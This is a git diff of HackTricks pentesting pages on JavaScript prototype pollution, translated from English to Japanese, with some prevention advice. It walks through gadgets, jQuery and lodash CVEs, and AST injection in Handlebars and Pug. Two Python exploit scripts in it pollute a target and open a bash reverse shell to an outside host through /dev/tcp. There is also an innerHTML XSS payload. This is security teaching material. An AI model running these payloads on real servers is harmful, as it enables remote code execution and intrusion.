+前の例から、次の方法を使用してObjectの構造にアクセスすることができます。 ```javascript person1.__proto__.__proto__ person.__proto__.__proto__ ``` - -So, as it was mentioned before, if now a property is added to the Object scheme, every JavaScript object will have access to the new property: - +したがって、以前に述べたように、もし今、オブジェクトスキームにプロパティが追加された場合、すべてのJavaScriptオブジェクトは新しいプロパティにアクセスできるようになります。 ```javascript function person(fullName) { - this.fullName = fullName; +this.fullName = fullName; } var person1 = new person("Satoshi"); //Add function as new property @@ -104,18 +124,14 @@ person1.printHello() //This now works and prints hello person1.__proto__.__proto__.globalconstant = true person1.globalconstant //This now works and is "true" ``` +## プロトタイプ汚染 -So now each JS object will contain the new properties: the function `printHello` and the new constant `globalconstant` - -## prototype pollution - -This technique isn't as effective as the previous one as you cannot pollute the scheme of JS Object. But in cases where the **keyword `__proto__`is forbidden this technique can be useful**. - -If you are able to modify the properties of a function, you can modify the `prototype` property of the function and **each new property that you adds here will be inherit by each object created from that function:** +このテクニックは、JSオブジェクトのスキーマを汚染することはできないため、前のテクニックほど効果的ではありません。ただし、**キーワード`__proto__`が禁止されている場合には、このテクニックが役立つことがあります**。 +関数のプロパティを変更できる場合、関数の`prototype`プロパティを変更することができます。そして、ここに追加した各新しいプロパティは、その関数から作成された各オブジェクトに継承されます。 ```javascript function person(fullName) { - this.fullName = fullName; +this.fullName = fullName; } var person1 = new person("Satoshi"); //Add function as new property @@ -129,59 +145,51 @@ person1.newConstant //This now works and is "true" person1.constructor.prototype.sayHello = function(){console.log("Hello");} person1.constructor.prototype.newConstant = true ``` +この場合、`person`クラスから作成された**オブジェクトのみ**が影響を受けますが、それぞれのオブジェクトは今や`sayHello`と`newConstant`のプロパティを**継承**します。 -In this case only the **objects created from the `person`** class will be affected, but each of them will now i**nherit the properties `sayHello` and `newConstant`**. - -**There are 2 ways to abuse prototype pollution to poison EVERY JS object.** - -The first one would be to pollute the property prototype of **Object** (as it was mentioned before every JS object inherits from this one): +**すべてのJSオブジェクトを汚染するために、プロトタイプ汚染を悪用する方法は2つあります。** +最初の方法は、**Object**のプロパティプロトタイプを汚染することです(前述のように、すべてのJSオブジェクトはこれを継承しています)。 ```javascript Object.prototype.sayBye = function(){console.log("bye!")} ``` +もし成功すれば、各JSオブジェクトは`sayBye`関数を実行することができるようになります。 -If you manage to do that, each JS object will be able to execute the function `sayBye`. - -The other way is to poison the prototype of a constructor of a dictionary variable like in the following example: - +もう一つの方法は、次の例のように、辞書変数のコンストラクタのプロトタイプを汚染することです。 ```javascript something = {"a": "b"} something.constructor.prototype.sayHey = function(){console.log("Hey!")} ``` +そのコードを実行すると、**各JSオブジェクトが`sayHey`関数を実行できるようになります**。 -After executing that code, **each JS object will be able to execute the function `sayHey`**. +## 他のオブジェクトの汚染 -## Polluting other objects - -### From a class to Object.prototype - -In an scenario where you can **pollute an specific object** and you need to **get to `Object.prototype`** you can search for it with something like the following code: +### クラスからObject.prototypeへ +特定のオブジェクトを**汚染することができ**、**`Object.prototype`に到達する必要がある**シナリオでは、次のようなコードでそれを検索することができます: ```javascript // From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/ // Search from "window" object for(let key of Object.getOwnPropertyNames(window)) { - if (window[key]?.constructor.prototype === Object.prototype) { - console.log(key) - } +if (window[key]?.constructor.prototype === Object.prototype) { +console.log(key) +} } // Imagine that the original object was document.querySelector('a') // With this code you could find some attributes to get the object "window" from that one for(let key1 in document.querySelector('a')) { - for(let key2 in document.querySelector('a')[key1]) { - if (document.querySelector('a')[key1][key2] === window) { - console.log(key1 + "." + key2) - } - } +for(let key2 in document.querySelector('a')[key1]) { +if (document.querySelector('a')[key1][key2] === window) { +console.log(key1 + "." + key2) +} +} } ``` +### 配列要素の汚染 -### Array elements pollution - -Note that as you can pollute attributes of objects in JS, if you have access to pollute an array you can also **pollute values of the array** accessible **by indexes** (note that you cannot overwrite values, so you need to pollute indexes that are somehow used but not written). - +JSではオブジェクトの属性を汚染することができるため、配列にアクセスできる場合は、**インデックスによってアクセス可能な配列の値も汚染する**ことができます(値を上書きすることはできないため、使用されているが書き込まれていないインデックスを汚染する必要があります)。 ```javascript c = [1,2] a = [] @@ -191,10 +199,9 @@ b[0] //undefined b[1] //"yolo" c[1] // 2 -- not ``` +### Html要素の汚染 -### Html elements pollution - -When generating a HTML element via JS it's possible to **overwrite** the **`innerHTML`** attribute to make it write **arbitrary HTML code.** [Idea and example from this writeup](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/). +JSを使用してHTML要素を生成する際に、**`innerHTML`**属性を**上書き**して、**任意のHTMLコードを書き込む**ことができます。[この解説記事のアイデアと例を参考にしました](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/)。 {% code overflow="wrap" %} ```javascript @@ -209,238 +216,218 @@ settings[root][ownerDocument][body][innerHTML]="{alert("polluted")} ``` - -### Proto Pollution to RCE +### Proto Pollutionを利用したRCE {% content-ref url="prototype-pollution-to-rce.md" %} [prototype-pollution-to-rce.md](prototype-pollution-to-rce.md) {% endcontent-ref %} -## Client-side prototype pollution to XSS +## クライアント側のプロトタイプ汚染によるXSS {% content-ref url="client-side-prototype-pollution.md" %} [client-side-prototype-pollution.md](client-side-prototype-pollution.md) {% endcontent-ref %} -### CVE-2019–11358: Prototype pollution attack through jQuery $ .extend +### CVE-2019–11358: jQuery $ .extendを介したプロトタイプ汚染攻撃 -$ .extend, if handled incorrectly, can change the properties of the object `prototype`(the template of the objects in the app). This attribute will then appear on all objects. Note that only the “deep” version (ie g) of $ .extened is affected. +$ .extendは、誤って処理されると、オブジェクト`prototype`(アプリ内のオブジェクトのテンプレート)のプロパティを変更することができます。この属性は、その後すべてのオブジェクトに表示されます。なお、$ .extendの「深い」バージョン(つまりg)のみが影響を受けます。 -Programmers often use this function to duplicate an object or fill in new properties from a default object. For example: +プログラマーは、この関数をオブジェクトの複製やデフォルトオブジェクトからの新しいプロパティの入力に使用することがよくあります。例えば: -We can imagine `myObject`is an input field from the user and is serialized into the DB) - -In this code, we often think, when running will assign the attribute `isAdmin`into the newly created object. But essentially, it is assigned directly to `{}` and then `{}.isAdmin` will be `true`. If after this code, we perform the following check: +`myObject`がユーザーからの入力フィールドであり、DBにシリアル化されると想像できます) +このコードでは、実行時に`isAdmin`属性が新しく作成されたオブジェクトに割り当てられると思われがちです。しかし、実際には、それは直接`{}`に割り当てられ、その後`{}.isAdmin`は`true`になります。このコードの後に、以下のチェックを実行するとします: ```javascript If (user.isAdmin === true) { - // do something for admin +// do something for admin } ``` +もしユーザーがまだ存在していない場合( `undefined` )、`isAdmin` プロパティはその親オブジェクトで検索されます。親オブジェクトには、上記で値が `true` の `isAdmin` が追加されています。 -If the user has not yet existed ( `undefined`), the property`isAdmin`will be searched in its parent object, which is the Object added `isAdmin` with the value `true` above. - -Another example when executed on JQuery 3.3.1: - +JQuery 3.3.1 で実行した場合の別の例: ```javascript $.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}')) console.log({}.devMode); // true ``` +これらのエラーは、特にNodeJSプロジェクトに多大な影響を与える可能性があります。最も実用的な例は、2018年12月にMongooseで発生したエラーです。Mongooseは、MongoDBを操作するのに役立つJSライブラリで、広く使われています。 -These errors can affect a lot of Javascript projects, especially NodeJS projects, the most practical example is the error in Mongoose, the JS library that helps manipulate MongoDB, in December 2018. +### CVE-2018–3721、CVE-2019–10744: lodashを介したプロトタイプ汚染攻撃 -### CVE-2018–3721, CVE-2019–10744: Prototype pollution attack through lodash - -[Lodash](https://www.npmjs.com/package/lodash) is also a well-known library that provides a lot of different functions, helping us to write code more conveniently and more neatly with over 19 million weekly downloads. And It got the same problem as JQuery. +[Lodash](https://www.npmjs.com/package/lodash)もよく知られたライブラリで、さまざまな関数を提供しており、週に1900万回以上ダウンロードされています。そして、JQueryと同じ問題があります。 **CVE-2018–3721** **CVE-2019–10744** -This bug affects all versions of Lodash, already fixed in version 4.17.11. +このバグは、Lodashのすべてのバージョンに影響を与えますが、バージョン4.17.11で修正されています。 -### Another tutorial with CVEs +### 他のCVEを含むチュートリアル {% embed url="https://infosecwriteups.com/javascript-prototype-pollution-practice-of-finding-and-exploitation-f97284333b2" %} -## AST Prototype Pollution +## ASTプロトタイプ汚染 -In NodeJS, AST is used in JS really often, as template engines and typescript etc.\ -For the template engine, the structure is as shown above. +NodeJSでは、テンプレートエンジンやTypeScriptなどでASTが頻繁に使用されます。 + +テンプレートエンジンの場合、構造は上記のようになります。 ![img](https://blog.p6.is/img/2020/08/graph\_3.jpg) ### Handlebars -Info taken from [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/) - -You can insert any string into `Object.prototype.pendingContent` to determine the possibility of an attack.\ -This allows you to be sure that servers are using handlebars engine when a prototype pollution exists in a black-box environment. +情報は[https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)から取得しました。 +`Object.prototype.pendingContent`に任意の文字列を挿入することで、攻撃の可能性を判断できます。これにより、ブラックボックス環境でプロトタイプ汚染が存在する場合に、サーバーがHandlebarsエンジンを使用していることを確認できます。 ```javascript ... appendContent: function appendContent(content) { - if (this.pendingContent) { - content = this.pendingContent + content; - } else { - this.pendingLocation = this.source.currentLocation; - } +if (this.pendingContent) { +content = this.pendingContent + content; +} else { +this.pendingLocation = this.source.currentLocation; +} - this.pendingContent = content; +this.pendingContent = content; }, pushSource: function pushSource(source) { - if (this.pendingContent) { - this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation)); - this.pendingContent = undefined; - } +if (this.pendingContent) { +this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation)); +this.pendingContent = undefined; +} - if (source) { - this.source.push(source); - } +if (source) { +this.source.push(source); +} } ... ``` +これは、`javascript-compiler.js`の`appendContent`関数によって行われます。\ +`appendContent`は次のようになります。`pendingContent`が存在する場合、コンテンツに追加して返します。 -This is done by the `appendContent` function of `javascript-compiler.js`\ -`appendContent` is this.If `pendingContent` is present, append to the content and returns. +`pushSource`は`pendingContent`を`undefined`にし、文字列が複数回挿入されるのを防ぎます。 -`pushSource` makes the `pendingContent` to `undefined`, preventing the string from being inserted multiple times. - -**Exploit** +**攻撃手法** ![img](https://blog.p6.is/img/2020/08/graph\_5.jpg) -Handlebars work as shown in the graph above. - -After lexer and parser generater AST, It passes to `compiler.js`\ -We can run the template function compiler generated with some arguments. and It returns the string like “Hello posix” (when msg is posix) +Handlebarsは上記のグラフのように機能します。 +レキサーとパーサーがASTを生成した後、それは`compiler.js`に渡されます。\ +生成されたテンプレート関数をいくつかの引数と共に実行することができ、それは「Hello posix」という文字列を返します(msgがposixの場合)。 ```javascript case 36: - this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) }; - break; +this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) }; +break; ``` - -The parser in handlebars forces the value of a node whose type is NumberLiteral to always be a number through the Number constructor. However, you can insert a non-numeric string here using the prototype pollution. - +handlebarsのパーサーは、NumberLiteral型のノードの値を常にNumberコンストラクターを通じて数値に強制します。しかし、プロトタイプ汚染を使用して、ここに非数値の文字列を挿入することができます。 ```javascript function parseWithoutProcessing(input, options) { - // Just return if an already-compiled AST was passed in. - if (input.type === 'Program') { - return input; - } +// Just return if an already-compiled AST was passed in. +if (input.type === 'Program') { +return input; +} - _parser2['default'].yy = yy; +_parser2['default'].yy = yy; - // Altering the shared object here, but this is ok as parser is a sync operation - yy.locInfo = function (locInfo) { - return new yy.SourceLocation(options && options.srcName, locInfo); - }; +// Altering the shared object here, but this is ok as parser is a sync operation +yy.locInfo = function (locInfo) { +return new yy.SourceLocation(options && options.srcName, locInfo); +}; - var ast = _parser2['default'].parse(input); +var ast = _parser2['default'].parse(input); - return ast; +return ast; } function parse(input, options) { - var ast = parseWithoutProcessing(input, options); - var strip = new _whitespaceControl2['default'](options); +var ast = parseWithoutProcessing(input, options); +var strip = new _whitespaceControl2['default'](options); - return strip.accept(ast); +return strip.accept(ast); } ``` +最初に、compile関数を見てみましょう。この関数は、ASTオブジェクトとテンプレート文字列の2つの入力方法をサポートしています。 -First, look at the compile function, and it supports two ways of input, AST Object and template string. - -when input.type is a `Program`, although the input value is actually string.\ -Parser considers it’s already AST parsed by parser.js and send it to the compiler without any processing. - +もしinput.typeが`Program`である場合、実際の入力値は文字列ですが、パーサーはそれをparser.jsによってすでにASTにパースされたものと見なし、何の処理もせずにコンパイラに送ります。 ```javascript ... accept: function accept(node) { - /* istanbul ignore next: Sanity code */ - if (!this[node.type]) { - throw new _exception2['default']('Unknown type: ' + node.type, node); - } +/* istanbul ignore next: Sanity code */ +if (!this[node.type]) { +throw new _exception2['default']('Unknown type: ' + node.type, node); +} - this.sourceNode.unshift(node); - var ret = this[node.type](node); - this.sourceNode.shift(); - return ret; +this.sourceNode.unshift(node); +var ret = this[node.type](node); +this.sourceNode.shift(); +return ret; }, Program: function Program(program) { - console.log((new Error).stack) - this.options.blockParams.unshift(program.blockParams); +console.log((new Error).stack) +this.options.blockParams.unshift(program.blockParams); - var body = program.body, - bodyLength = body.length; - for (var i = 0; i < bodyLength; i++) { - this.accept(body[i]); - } +var body = program.body, +bodyLength = body.length; +for (var i = 0; i < bodyLength; i++) { +this.accept(body[i]); +} - this.options.blockParams.shift(); +this.options.blockParams.shift(); - this.isSimple = bodyLength === 1; - this.blockParams = program.blockParams ? program.blockParams.length : 0; +this.isSimple = bodyLength === 1; +this.blockParams = program.blockParams ? program.blockParams.length : 0; - return this; +return this; } ``` - -The compiler given the AST Object (actually a string) send it to the `accept` method.\ -and `accept` calls `this[node.type]` of Compiler.\ -Then take body attribute of AST and use it for constructing function. - +コンパイラはASTオブジェクト(実際には文字列)を受け取り、`accept`メソッドに送ります。そして、`accept`はコンパイラの`this[node.type]`を呼び出します。次に、ASTのbody属性を取得し、それを関数の構築に使用します。 ```javascript const Handlebars = require('handlebars'); Object.prototype.type = 'Program'; Object.prototype.body = [{ - "type": "MustacheStatement", - "path": 0, - "params": [{ - "type": "NumberLiteral", - "value": "console.log(process.mainModule.require('child_process').execSync('id').toString())" - }], - "loc": { - "start": 0, - "end": 0 - } +"type": "MustacheStatement", +"path": 0, +"params": [{ +"type": "NumberLiteral", +"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())" +}], +"loc": { +"start": 0, +"end": 0 +} }]; @@ -451,32 +438,30 @@ console.log(eval('(' + template + ')')['main'].toString()); /* function (container, depth0, helpers, partials, data) { - var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) { - if (Object.prototype.hasOwnProperty.call(parent, propertyName)) { - return parent[propertyName]; - } - return undefined - }; +var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) { +if (Object.prototype.hasOwnProperty.call(parent, propertyName)) { +return parent[propertyName]; +} +return undefined +}; - return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), { - "name": "undefined", - "hash": {}, - "data": data, - "loc": { - "start": 0, - "end": 0 - } - })) != null ? stack1 : ""); +return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), { +"name": "undefined", +"hash": {}, +"data": data, +"loc": { +"start": 0, +"end": 0 +} +})) != null ? stack1 : ""); } */ ``` +以下のように攻撃を設定することができます。パーサーを通過した場合、NumberLiteralの値に割り当てることができない文字列を指定します。しかし、注入されたASTが処理されると、任意のコードを関数に挿入することができます。 -As a result, an attack can be configured like this. If you have gone through parser, specify a string that cannot be assigned to the value of NumberLiteral. But Injected AST processed, we can insert any code into the function. - -**Example** +**例** [https://github.com/hughsk/flat/issues/105](https://github.com/hughsk/flat/issues/105) - ```python import requests @@ -484,29 +469,27 @@ TARGET_URL = 'http://p6.is:3000' # make pollution requests.post(TARGET_URL + '/vulnerable', json = { - "__proto__.type": "Program", - "__proto__.body": [{ - "type": "MustacheStatement", - "path": 0, - "params": [{ - "type": "NumberLiteral", - "value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)" - }], - "loc": { - "start": 0, - "end": 0 - } - }] +"__proto__.type": "Program", +"__proto__.body": [{ +"type": "MustacheStatement", +"path": 0, +"params": [{ +"type": "NumberLiteral", +"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)" +}], +"loc": { +"start": 0, +"end": 0 +} +}] }) # execute requests.get(TARGET_URL) ``` - ### Pug -More info in [https://blog.p6.is/AST-Injection/#Pug](https://blog.p6.is/AST-Injection/#Pug) - +詳細は[https://blog.p6.is/AST-Injection/#Pug](https://blog.p6.is/AST-Injection/#Pug)を参照してください。 ```python import requests @@ -514,26 +497,25 @@ TARGET_URL = 'http://p6.is:3000' # make pollution requests.post(TARGET_URL + '/vulnerable', json = { - "__proto__.block": { - "type": "Text", - "line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)" - } +"__proto__.block": { +"type": "Text", +"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)" +} }) # execute requests.get(TARGET_URL) ``` +## どうすれば予防できるのか? -## What can I do to prevent? +* `Object.freeze (Object.prototype)`を使用してプロパティを凍結する +* アプリケーションのスキーマに従ってJSON入力を検証する +* 安全でない方法で再帰的なマージ関数を使用しない +* プロトタイプチェーンに影響を与えないように、`Object.create(null)`などのプロトタイププロパティのないオブジェクトを使用する +* `Object`の代わりに`Map`を使用する +* 定期的にライブラリの新しいパッチを更新する -* Freeze properties with Object.freeze (Object.prototype) -* Perform validation on the JSON inputs in accordance with the application’s schema -* Avoid using recursive merge functions in an unsafe manner -* Use objects without prototype properties, such as `Object.create(null)`, to avoid affecting the prototype chain -* Use `Map`instead of `Object` -* Regularly update new patches for libraries - -## Reference +## 参考 * [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) * [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l) @@ -543,10 +525,10 @@ requests.get(TARGET_URL) ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。 diff --git a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md index c1e5e1e48..568265b00 100644 --- a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md +++ b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md @@ -1,89 +1,87 @@ -# Client Side Prototype Pollution +# クライアント側のプロトタイプ汚染
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Discovering using Automatic tools +## 自動ツールを使用して発見する -The tools [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **and** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) can be used to **find prototype pollution vulnerabilities**. +ツール[**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**、**[**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap)**、**[**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find)**を使用して、**プロトタイプ汚染の脆弱性**を見つけることができます。 -Moreover, you could also use the **browser extension** [**PPScan**](https://github.com/msrkp/PPScan) to **automatically** **scan** the **pages** you **access** for prototype pollution vulnerabilities. +さらに、**ブラウザ拡張機能**[**PPScan**](https://github.com/msrkp/PPScan)を使用して、アクセスする**ページ**を**自動的にスキャン**して、プロトタイプ汚染の脆弱性を見つけることもできます。 -### Debugging where a property is used +### プロパティの使用箇所のデバッグ {% code overflow="wrap" %} ```javascript // Stop debugger where 'potentialGadget' property is accessed Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){ - console.trace(); - return 'test'; +console.trace(); +return 'test'; }}) ``` {% endcode %} -### Finding the root cause of Prototype Pollution +### プロトタイプ汚染の根本原因の特定 -Once any of the tools have **identified** a **prototype pollution vulnerability**, if the **code** is **not** very **complex**, you can **search** the JS code for the **keywords** **`location.hash/decodeURIComponent/location.search`** in Chrome Developer Tools and find the vulnerable place. +ツールのいずれかが**プロトタイプ汚染の脆弱性**を**特定**した場合、**コード**が**非常に複雑でない**場合は、Chrome Developer ToolsでJSコードを検索し、**`location.hash/decodeURIComponent/location.search`**のキーワードを見つけて脆弱な箇所を特定することができます。 -If the code is large and complex there is an easy way to **discover where is the vulnerable code**: - -* Using one of the tools **find a vulnerability** and get a **payload** that will **set a property** in the constructor. In ppmap you will be given something like: `constructor[prototype][ppmap]=reserved` -* Now, set a **breakpoint in the first line of JS code** that is going to be executed in the page, and refresh the page with the payload so the **execution is paused there**. -* While the JS execution is paused **paste the following script in the JS console**. This code will indicate once the property 'ppmap' is created, so you will be able to find where it was created. +コードが大きく複雑な場合、脆弱なコードの場所を**特定する簡単な方法**があります。 +* ツールのいずれかを使用して**脆弱性を見つけ**、コンストラクタに**プロパティを設定する**ペイロードを取得します。ppmapでは、`constructor[prototype][ppmap]=reserved`のようなものが与えられます。 +* 今、ページで実行される最初のJSコードの**最初の行にブレークポイントを設定**し、ペイロードを使用してページをリフレッシュします。これにより、実行がそこで一時停止します。 +* JSの実行が一時停止している間に、以下のスクリプトをJSコンソールに**貼り付けます**。このコードは、プロパティ 'ppmap' が作成されたことを示すため、どこで作成されたかを特定することができます。 ```javascript function debugAccess(obj, prop, debugGet=true){ - var origValue = obj[prop]; +var origValue = obj[prop]; - Object.defineProperty(obj, prop, { - get: function () { - if ( debugGet ) - debugger; - return origValue; - }, - set: function(val) { - debugger; - return origValue = val; - } - }); +Object.defineProperty(obj, prop, { +get: function () { +if ( debugGet ) +debugger; +return origValue; +}, +set: function(val) { +debugger; +return origValue = val; +} +}); }; debugAccess(Object.prototype, 'ppmap') ``` +**ソース**に戻り、「**スクリプトの実行を再開**」をクリックします。これを行うと、**JavaScript**全体が実行され、ppmapが再び予想どおりに汚染されます。スニペットの助けを借りて、ppmapプロパティが具体的にどこで汚染されているかを見つけることができます。**コールスタック**をクリックすると、汚染が発生した**異なるスタック**が表示されます。 -Go back to **Sources** and click “**Resume** script **execution**”. After you do that, the whole **javascript** will be **executed** and ppmap will be polluted again as expected. With the help of the Snippet we can find where exactly the ppmap property is polluted. We can **click** on the **Call** **Stack** and you will face **different** **stacks** where the **pollution** **happened**. - -But which one to choose? Most of the time Prototype Pollution happens on Javascript libraries, so aim for the stack which is attached to the .js library files (look at the right side just like in the image to know which endpoint the stack is attached to). In this case we have 2 stacks on line 4 and 6, logically we will choose the 4th line because that line is the first time where Pollution happens, which mean that this line is the reason of the vulnerability. Clicking on the stack will redirect us to the vulnerable code. +しかし、どれを選ぶべきでしょうか?ほとんどの場合、プロトタイプ汚染はJavaScriptライブラリで発生しますので、スタックが.jsライブラリファイルに関連付けられているスタックを目指します(画像の右側を見て、どのエンドポイントにスタックが関連付けられているかを確認します)。この場合、4行目と6行目に2つのスタックがありますが、論理的には最初に汚染が発生する4行目を選択します。この行が脆弱性の原因であるためです。スタックをクリックすると、脆弱なコードにリダイレクトされます。 ![](https://miro.medium.com/max/1400/1\*S8NBOl1a7f1zhJxlh-6g4w.jpeg) -## Finding Script Gadgets +## スクリプトガジェットの検索 -The gadget is the **code that will be abused once a PP vulnerability is discovered**. +ガジェットとは、PPの脆弱性が発見された際に悪用される**コード**のことです。 -If the application is simple, we can **search** for **keywords** like **`srcdoc/innerHTML/iframe/createElement`** and review the source code and check if it l**eads to javascript execution**. Sometimes, mentioned techniques might not find gadgets at all. In that case, pure source code review reveals some nice gadgets like the below example. +アプリケーションがシンプルな場合、**`srcdoc/innerHTML/iframe/createElement`**などの**キーワード**を検索し、ソースコードを確認して**JavaScriptの実行**につながるかどうかを確認できます。時には、これらの技術を使用してもガジェットが見つからない場合があります。その場合、純粋なソースコードのレビューによって、以下の例のような素晴らしいガジェットが明らかになります。 -### Example Finding PP gadget in Mithil library code +### MithilライブラリコードでのPPガジェットの例 -Check this writeup: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/) +この解説をチェックしてください:[https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/) -## Recompilation of payloads for vulnerable libraries +## 脆弱なライブラリのペイロードの再コンパイル * [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution) * [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution) -## References +## 参考文献 * 